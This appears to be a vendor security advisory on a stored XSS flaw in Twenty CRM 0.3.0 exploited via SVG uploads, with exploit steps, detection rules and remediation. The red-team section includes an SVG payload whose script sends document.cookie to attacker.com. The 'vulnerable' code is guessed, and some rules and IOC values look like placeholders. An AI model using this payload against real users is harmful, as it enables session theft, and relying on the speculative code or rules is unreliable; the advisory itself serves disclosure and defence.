CVE-2024-28434

Executive Summary

CVE-2024-28434 is a stored cross-site scripting (XSS) vulnerability in the Twenty CRM platform, version 0.3.0. The vulnerability allows an authenticated attacker to upload a crafted SVG file containing malicious JavaScript. When the file is viewed by another user, the JavaScript executes in the context of the victim's browser, potentially leading to session hijacking, data theft, or further compromise. The vulnerability is classified as medium severity due to the requirement for user interaction and low impact on confidentiality and integrity.

Supply Chain & Package Security

Twenty CRM is a Node.js application. The vulnerability is introduced through the file upload functionality, which does not properly sanitize SVG files. This is a common issue in web applications that allow SVG uploads without stripping script content. The risk is amplified if the application is deployed via container images or package managers, as the vulnerable code is distributed as part of the application.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs a valid account.
• User Interaction (UI): Required (R) - The victim must view the uploaded file.
• Scope (S): Changed (C) - The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): None (N) - No impact on availability.

CVSS Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the impact can be significant if an attacker targets an administrator.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of Twenty CRM. The application allows users to upload files, including SVG images. SVG files are XML-based and can contain embedded JavaScript within <script> tags or event handlers (e.g., onload). The application does not sanitize or validate the content of uploaded SVG files, allowing an attacker to inject malicious code.

When a victim views the uploaded SVG file (e.g., in a browser or within the CRM interface), the browser parses the SVG and executes the embedded JavaScript. This can lead to:

• Session Hijacking: Stealing session cookies.
• Data Exfiltration: Sending sensitive data to an attacker-controlled server.
• Phishing: Displaying fake login forms.
• Defacement: Modifying the page content.

The attack flow:

1. Attacker logs in to Twenty CRM.
2. Attacker uploads a crafted SVG file containing JavaScript.
3. Victim (another user) views the file.
4. JavaScript executes in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (Twenty CRM 0.3.0): The file upload handler likely accepts any file type without checking the MIME type or content. For example:

// Vulnerable: No validation
app.post('/upload', (req, res) => {
    const file = req.files.file;
    // Save file directly
    file.mv('./uploads/' + file.name);
    res.send('File uploaded');
});

Patched Code (Hypothetical): A patch would include validation to reject SVG files or strip script content. For example:

// Patched: Validate file type and content
const allowedTypes = ['image/png', 'image/jpeg', 'image/gif'];
app.post('/upload', (req, res) => {
    const file = req.files.file;
    if (!allowedTypes.includes(file.mimetype)) {
        return res.status(400).send('Invalid file type');
    }
    // Additional content sanitization
    file.mv('./uploads/' + file.name);
    res.send('File uploaded');
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Twenty CRM 0.3.0.
• Valid user credentials.

Exploit Steps:

1. Create a malicious SVG file (e.g., exploit.svg):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
  </script>
</svg>

2. Log in to Twenty CRM.
3. Navigate to the file upload functionality.
4. Upload exploit.svg.
5. Share the link to the uploaded file with the victim.
6. When the victim views the file, the JavaScript executes.

Advanced Payload:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
</svg>

Blue Team

Detection:

• Monitor file upload logs for SVG files.
• Use WAF rules to block SVG uploads or strip script tags.
• Implement content security policy (CSP) headers to restrict script execution.

Hunting:

• Search for uploaded files with .svg extension.
• Analyze server logs for unusual file uploads.
• Check for outbound connections to unknown domains.

Lab Setup:

• Deploy Twenty CRM 0.3.0 in a sandboxed environment.
• Use a tool like Burp Suite to intercept and modify file uploads.
• Monitor network traffic with Wireshark.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example)
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
• File Artifacts:
  • Uploaded SVG files containing <script> tags.
• Log Entries:
  • File upload logs with .svg extension.
  • HTTP requests to /upload with multipart form data.

Detection Engineering

YARA Rule

rule CVE_2024_28434_SVG_XSS {
    meta:
        description = "Detects malicious SVG files with embedded JavaScript"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28434"
    strings:
        $svg_header = "<?xml" ascii wide nocase
        $svg_tag = "<svg" ascii wide nocase
        $script_tag = "<script" ascii wide nocase
        $javascript = "javascript:" ascii wide nocase
        $onload = "onload=" ascii wide nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $javascript or $onload)
}

Sigma Rule

title: CVE-2024-28434 - SVG File Upload with Embedded Script
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files containing script tags
author: Valters IT
date: 2024-01-01
logsource:
    category: file_event
    product: windows
detection:
    selection:
        EventID: 11
        TargetFilename|endswith: '.svg'
    condition: selection
falsepositives:
    - Legitimate SVG files with scripts (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28434 - SVG File Upload with Script"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"filename="; content:".svg"; fileext; content:"<script"; within:1000; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads if not required.
2. Implement file type validation to reject SVG files.
3. Sanitize uploaded files using a library like DOMPurify.
4. Apply Content Security Policy (CSP) headers to restrict script execution.

Long-term Fix:

• Upgrade to a patched version of Twenty CRM (once available).
• Conduct a security audit of the file upload functionality.
• Implement a Web Application Firewall (WAF) to block malicious uploads.

Workaround:

• Use a reverse proxy to inspect and block SVG files with script content.

Valters IT
Securing Digital Frontiers